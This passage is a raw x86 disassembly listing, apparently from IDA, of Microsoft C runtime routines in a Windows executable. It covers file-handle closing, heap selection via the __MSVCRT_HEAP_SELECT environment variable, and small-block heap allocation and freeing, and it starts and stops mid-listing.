I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD140 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax call dword_427070 ; CloseHandle test eax, eax jnz short loc_41E38B call dword_427094 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; sub_41DA8B+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD020, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD020 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: sub_41E52A+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_4270A4 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E52A proc near ; CODE XREF: sub_41E672+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_4270D0 ; GetVersionExA test eax, eax jz short loc_41E56D cmp [ebp+var_88], 2 jnz short loc_41E56D cmp [ebp+var_94], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: sub_41E52A+27j ; sub_41E52A+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4271B4 ; GetEnvironmentVariableA test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: sub_41E52A+83j mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: sub_41E52A+76j ; sub_41E52A+7Aj inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: sub_41E52A+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp+var_122C] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: sub_41E52A+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_427078 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_41E605 loc_41E5F2: ; CODE XREF: sub_41E52A+D9j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: sub_41E52A+CCj ; sub_41E52A+D0j inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: sub_41E52A+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: sub_41E52A+A5j cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: sub_41E52A+115j cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: sub_41E52A+10Cj inc ecx loc_41E63D: ; CODE XREF: sub_41E52A+110j cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: sub_41E52A+107j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: sub_41E52A+5Cj ; sub_41E52A+F2j ... lea eax, [ebp+var_4] push eax call sub_41E4FD cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: sub_41E52A+3Ej ; sub_41E52A+126j ... pop ebx leave retn sub_41E52A endp ; =============== S U B R O U T I N E ======================================= sub_41E672 proc near ; CODE XREF: .packed:0041E22Dp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4271BC ; HeapCreate test eax, eax mov dword_4DD384, eax jz short loc_41E6C8 call sub_41E52A cmp eax, 3 mov dword_4DD388, eax jnz short loc_41E6AE push 3F8h call sub_41E6CF pop ecx jmp short loc_41E6B8 ; --------------------------------------------------------------------------- loc_41E6AE: ; CODE XREF: sub_41E672+2Dj cmp eax, 2 jnz short loc_41E6CB call sub_41F216 loc_41E6B8: ; CODE XREF: sub_41E672+3Aj test eax, eax jnz short loc_41E6CB push dword_4DD384 call dword_4271B8 ; HeapDestroy loc_41E6C8: ; CODE XREF: sub_41E672+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E6CB: ; CODE XREF: sub_41E672+3Fj ; sub_41E672+48j push 1 pop eax retn sub_41E672 endp ; =============== S U B R O U T I N E ======================================= sub_41E6CF proc near ; CODE XREF: sub_41E672+34p arg_0 = dword ptr 4 push 140h push 0 push dword_4DD384 call dword_427150 ; RtlAllocateHeap test eax, eax mov dword_4DD37C, eax jnz short loc_41E6EC retn ; --------------------------------------------------------------------------- loc_41E6EC: ; CODE XREF: sub_41E6CF+1Aj mov ecx, [esp+arg_0] and dword_4DD374, 0 and dword_4DD378, 0 push 1 mov dword_4DD370, eax mov dword_4DD380, ecx mov dword_4DD368, 10h pop eax retn sub_41E6CF endp ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD378 lea ecx, [eax+eax*4] mov eax, dword_4DD37C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD374 test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4DD36C mov eax, dword_4DD374 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD374 mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD374 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD374 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD374 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4DD374 push dword ptr [eax+10h] push 0 push dword_4DD384 call dword_42714C ; RtlFreeHeap mov eax, dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD374 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD378 cmp eax, dword_4DD374 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov dword_4DD374, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p ; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD378 mov edx, dword_4DD37C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD370 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD370, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD374 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD36C jnz short loc_41ED67 and dword_4DD374, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD378 mov ecx, dword_4DD368 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD37C push edi push dword_4DD384 call dword_4271A0 ; RtlReAllocateHeap cmp eax, edi jz short loc_41EE07 add dword_4DD368, 10h mov dword_4DD37C, eax mov eax, dword_4DD378 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD37C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD384 lea esi, [ecx+eax*4] call dword_427150 ; 